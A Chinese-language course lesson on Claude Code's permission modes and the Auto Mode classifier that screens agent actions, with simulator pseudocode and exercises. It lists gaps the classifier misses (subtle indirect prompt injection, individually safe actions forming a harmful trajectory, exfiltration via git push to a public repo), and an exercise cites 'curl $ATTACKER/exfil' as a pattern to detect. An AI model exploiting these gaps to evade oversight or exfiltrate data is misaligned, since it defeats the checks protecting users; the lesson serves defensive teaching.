自主 Agent 的权限模式


文档摘要

自主 Agent 的权限模式 本节摘要:一个在你机器上跑的自主编码 Agent 是一个独立的安全品类——攻击面是 Agent 能触及的一切(文件系统、网络、凭据、剪贴板、任何打开的终端与浏览器标签)。Bruce Schneier 等人公开指出:计算机使用 Agent 不是聊天机器人的「功能更新」,而是一种带全新风险画像的新工具。Anthropic 的回答不是「自主/不自主」一个开关,而是一座权限阶梯:从「每个动作都问」到「全部批准」共六级。Claude Code 的 每动都问, (UI 标「Manual」)只对风险动作问, 自动批准文件写但仍确认 shell 执行, 批准一切。

自主 Agent 的权限模式

本节摘要:一个在你机器上跑的自主编码 Agent 是一个独立的安全品类——攻击面是 Agent 能触及的一切(文件系统、网络、凭据、剪贴板、任何打开的终端与浏览器标签)。Bruce Schneier 等人公开指出:计算机使用 Agent 不是聊天机器人的「功能更新」,而是一种带全新风险画像的新工具。Anthropic 的回答不是「自主/不自主」一个开关,而是一座权限阶梯:从「每个动作都问」到「全部批准」共六级。Claude Code 的 plan 每动都问,default(UI 标「Manual」)只对风险动作问,acceptEdits 自动批准文件写但仍确认 shell 执行,bypassPermissions 批准一切。Auto Mode(auto 权限模式,2026 年 3 月)用一个独立分类器模型把逐动作审批移出用户关键路径——它在每个动作执行前审、拦下任何超出请求范围的升级。预算由 max_turnsmax_budget_usd 强制。本节讲透六级模式、Auto Mode 抓什么与漏什么、各级别适合什么样的工作流。

对应原课程:Phase 15 · Lesson 10 · claude-code-permission-modes(原英文 phases/15-autonomous-systems/10-claude-code-permission-modes/docs/en.md)。以 Claude Code 为工作示例。

学习目标

阅读完本节,你应当能够:

  1. 列出 Claude Code 的六种权限模式(plan / default / acceptEdits / auto / dontAsk / bypassPermissions),说出每种的逐动作审批行为与适用场景。
  2. 解释 Auto Mode 如何用独立分类器模型在动作执行前审批、拦下超出请求范围的升级,以及它的门控可用性(套餐/组织/模型/供应商)。
  3. 指出权限系统抓得住什么(直白提示注入、重复工具循环、越界 shell)与漏掉什么(语义级失行为、间接提示注入、经合法渠道外泄)。
  4. 为预算控制(max_turnsmax_budget_usd、每工具动作数上限)给出合理数值并说理。
  5. 把权限阶梯映射到工作流:不熟悉任务用 plan、已知重构用 acceptEdits、无人值守后台只在测过爆炸半径的工作区里用 auto。

一、问题与直觉

工程问题:这个系统抓得住什么、漏掉什么、给定任务到底该用哪一档?

⚠️ 核心张力:Auto Mode 把逐动作审批移出用户关键路径,但分类器审的是动作,不重新推导用户意图——每个动作看着安全,组合起来的轨迹可能有害。

二、从零实现:两阶段分类器模拟器

原课程 code/main.py 把动作审查分类器模拟成一个两阶段流水线(教学简化;真实的 auto 由独立分类器模型支撑,不是有文档的两阶段契约):第 1 阶段是对提议动作的便宜关键词规则;第 2 阶段是更慢的多规则审查器。驱动器喂入一段短合成轨迹(安全动作、提示注入企图、重复循环),展示分类器在哪抓住、在哪漏。

两阶段骨架

def auto_classify(action, task, session_state): # 第1阶段: 便宜关键词规则 if stage1_obvious_bad(action): return BLOCK("stage1") # 第2阶段: 慢速多规则审查,对照声明任务与会话状态 if stage2_escalates_beyond(action, task, session_state): return BLOCK("stage2") # 拦下超出请求范围的升级 return ALLOW # 否则放行,执行 def run_session(actions, budget): for n, a in enumerate(actions): if n >= budget.max_turns: abort("turns") if cost_so_far >= budget.max_budget_usd: abort("budget") if auto_classify(a, ...) == BLOCK: return ESCALATE_TO_USER execute(a)

六种权限模式

模式 行为 何时用
plan Agent 提计划;用户批准整个计划;每个动作执行前都审 不熟悉的任务;靠近产线的代码;首次在仓库用该 Agent
default(UI 标「Manual」) Agent 跑动作;对任何「风险」动作(shell exec、破坏性操作、网络调用)提示用户 多数交互式编码会话
acceptEdits 文件写自动批准;shell exec 与网络调用仍提示 跨多文件的重构轮
auto 独立分类器模型在每个动作执行前审;拦下任何超出请求范围的升级 受限工作区里的长程无人值守运行
dontAsk 从不提示;未被权限规则预批的动作一律拒 一次性沙箱、CI 作业、研究脚本
bypassPermissions 批准一切 文档明说「仅在愿意丢弃的一次性容器内」

Auto Mode 一页纸

Auto Mode(2026 年 3 月 24 日发布)是首个把逐动作审批委托给模型的权限模式。结构:

  1. 独立分类器模型:在执行前审每个提议动作,对照声明任务与会话当前状态,拦下任何超出请求范围的升级。被拦动作回退给用户。
  2. 门控可用性:是否提供 auto 取决于套餐、组织启用、模型、供应商。

预算控制与分类器并列:

  • max_turns——会话总迭代数。
  • max_budget_usd——美元上限,超过即中止会话。
  • 每工具动作数上限(如不超过 N 次 WebFetch)。

系统抓得住什么

  • 直白的提示注入进工具输入,其中被注入指令映射到已知风险动作形状。
  • 重复工具循环——分类器能看到动作 N+1 与动作 N 几乎一样,连着五次。
  • 在原本只编辑文件的会话里,明显越界的 shell 命令。

系统会漏什么

  • 微妙提示注入:不产生单个可标动作就调制行为。间接提示注入不是可完全修补的漏洞(OpenAI 准备就绪负责人 2025 谈浏览器 Agent,见第 11 节)。
  • 语义级失行为:每个动作看着安全,组合轨迹却有害。分类器审的是动作,不重新推导用户意图。
  • 经合法渠道外泄:把数据写到你有权的文件,再 git push 到公开仓库——这是允许动作的序列,问题在组合。

研究预览的定位

Anthropic 把 Auto Mode 作为研究预览发布。文档明确:分类器是一层,不是解;用户应把 Auto Mode 与预算、白名单、隔离工作区、轨迹审计(第 12~16 节)结合。预览定位也反映了已记录的评估-部署鸿沟(第 01 节)——一个通过离线评估的分类器,在用户上下文模糊的真实会话里可能表现不同。

三、框架对比:六模式在工作流中的位置

工作流 推荐模式 前置条件
不熟悉任务 plan 读计划比回滚一次坏运行便宜
已知重构 acceptEdits 省大量确认点击
无人值守后台 auto 仅在测过爆炸半径的工作区(无凭据、无生产挂载、无未选通的出口)
一次性容器 dontAsk / bypassPermissions 当且仅当容器及其凭据可丢弃

💡 关键边界:auto 只在「你已测过爆炸半径的工作区」里可接受。分类器不是隔离的替代品——它是一层,沙箱是另一层。

四、可复用产物

outputs/skill-permission-mode-picker.md 把任务描述匹配到正确的权限模式、预算上限与所需隔离:任务熟悉度、是否靠近产线、是否无人值守、工作区是否测过爆炸半径,四个维度决定模式与配套预算。

code/main.py 把第 1/2 阶段做成可扩展规则集,适合在安全评审里演示「合成轨迹中,哪类动作只被第 2 阶段抓住、哪类两阶段都漏」。

五、练习

  1. code/main.py:哪种合成动作类型从不被第 1 阶段标、却总被第 2 阶段抓住?哪种两阶段都抓不到?

  2. 扩展第 1 阶段规则集抓住一个特定已知坏形状(如 curl $ATTACKER/exfil),在良性动作样本上测假阳性率。

  3. 读 Anthropic「How the agent loop works」文档,列出 default 模式下 Agent 默认触碰的每个外部状态。在无人值守跑 auto 前,哪些需要单独门控?

  4. 设计一个 24 小时无人值守运行预算:max_turnsmax_budget_usd、每工具上限、白名单。为每个数说理。

  5. 描述一条轨迹:其中每个动作都被分类器批准,但组合行为是失配的。(第 14 节讲 kill switch 与金丝雀 token 如何应对。)

本节要点回顾

  1. 自主编码 Agent 是独立安全品类:攻击面是它能触及的一切,不是聊天机器人的功能更新。
  2. 六种权限模式构成阶梯:plan→default→acceptEdits→auto→dontAsk→bypassPermissions,自主性升则逐动作审查降。
  3. Auto Mode 用独立分类器模型:执行前审每个动作,拦下超出请求范围的升级;门控可用性取决于套餐/组织/模型/供应商。
  4. 预算控制并列:max_turnsmax_budget_usd、每工具动作数上限。
  5. 抓得住:直白提示注入、重复循环、越界 shell。
  6. 漏掉:语义级失行为、间接提示注入、经合法渠道外泄——分类器审动作不重推导意图。
  7. 研究预览定位:分类器是一层不是解;需配预算、白名单、隔离工作区、轨迹审计。
  8. 工作流映射:不熟悉→plan、已知重构→acceptEdits、无人值守→auto(仅测过爆炸半径的工作区)、一次性容器→dontAsk/bypass。

下一节,把权限模式推到最危险的表面——浏览器 Agent,那里间接提示注入几乎不可完全修补,看长程网页任务如何被治理。


发布者: 作者: Rohit Gupta 转发
评论区 (0)
U